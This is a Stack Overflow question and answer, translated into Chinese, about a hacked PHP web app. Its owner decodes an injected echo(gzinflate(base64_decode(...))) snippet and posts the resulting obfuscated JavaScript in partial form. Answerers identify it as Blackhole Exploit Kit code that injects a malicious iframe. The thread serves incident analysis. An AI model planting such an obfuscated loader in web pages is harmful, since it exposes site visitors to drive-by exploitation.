webapp被黑了，但是插入的确切代码是什么？回声（gzinflate（base64_decode（“.....”）答案

【问题标题】：webapp hacked, but what is the exact code inserted? echo(gzinflate(base64_decode(".....")webapp被黑了，但是插入的确切代码是什么？回声（gzinflate（base64_decode（“.....”）
【发布时间】：2012-06-07 10:30:45
【问题描述】：

我在各种 .php 文件中发现了几个 echo(gzinflate(base64_decode(".....") 的出现，我很好奇它到底做了什么。我想我设法使用 base64 -d < fileetje.b64 > fileetje.gz 解码引号中的文本，其中 fileetje.b64 包含字符串数据。但是当我随后尝试对 fileetje.gz 进行压缩时，它会报告错误的数据。此外，在执行file fileetje.gz 时，它会显示data，我希望 GZIP 数据是类似的。

如何从 Linux 命令行解密数据？

像http://www.base64online.com/ 这样的在线解码器也无法理解代码。将字符串数据也添加到问题中是否安全？

更新：我即兴创作了一个 php 脚本，因为它只是一个简单的回显（Thnx：glglgl）。结果是这样的：

<script>d=Date;d=new d();h=-parseInt('012')/5;if(window.document)try{new document.getElementById("qwe").prototype}catch(qqq){st=String;zz='al';zz='v'+zz;ss="";if(1){f='f'+'r'+'o'+'m'+'Ch'+'ar';f=f+'C'+'od'+'e';}e=this[f.substr(11)+zz];t='y';}n="3.5~3.5~51.5~50~15~19~49~54.5~48...............

它的结尾是：

...........9~50~19.5~28.5~5.5~3.5~3.5~61.5".split("a~".substr(1));for(i=0;i!=563;i++){j=i;ss=ss+st[f](-h*(2-1+1*n[j]));}if(1)q=ss;if(zz)e(""+q);</script>

【问题讨论】：

hmmm...因为它只是一个echo命令，只执行这些行应该是可以的。
所以如果编码数据是恶意javascript，那可以吗？我认为不会。
它不是 gzip 存档，而是 gzip 压缩的字符串。尝试将内容下载到您的家庭网络服务器并进行测试。你也可以在这里发布完整的东西，如果你害怕，让别人在家测试。
我可以从 Linux 命令行解压缩这样的字符串吗？我使用 php 进行管理，但我对 Linux 命令行工具感觉更舒服。
How to decode <?php eval(stripslashes(gzinflate(base64_decode("")的可能重复

标签： php linux command-line

【解决方案1】：

嵌入的 javascript 遵循 Black Hole Exploit 工具包的格式。它会注入一个 iFrame 导致您被利用，这可能是个坏消息。认为echo()（如上文评论中所述）将是安全的是不正确的。该功能只是将嵌入式恶意软件代码放入您的页面中以造成损害。

相关的 SO 帖子： My wordpress site was hacked, anyone tell what this code does?

所以发布它是如何工作的：What is the purpose of this JavaScript hack?

http://nakedsecurity.sophos.com/2012/03/29/exploring-the-blackhole-exploit-kit/

【讨论】：

echo 从命令行使用时非常安全。我同意从网络浏览器调用它是不安全的。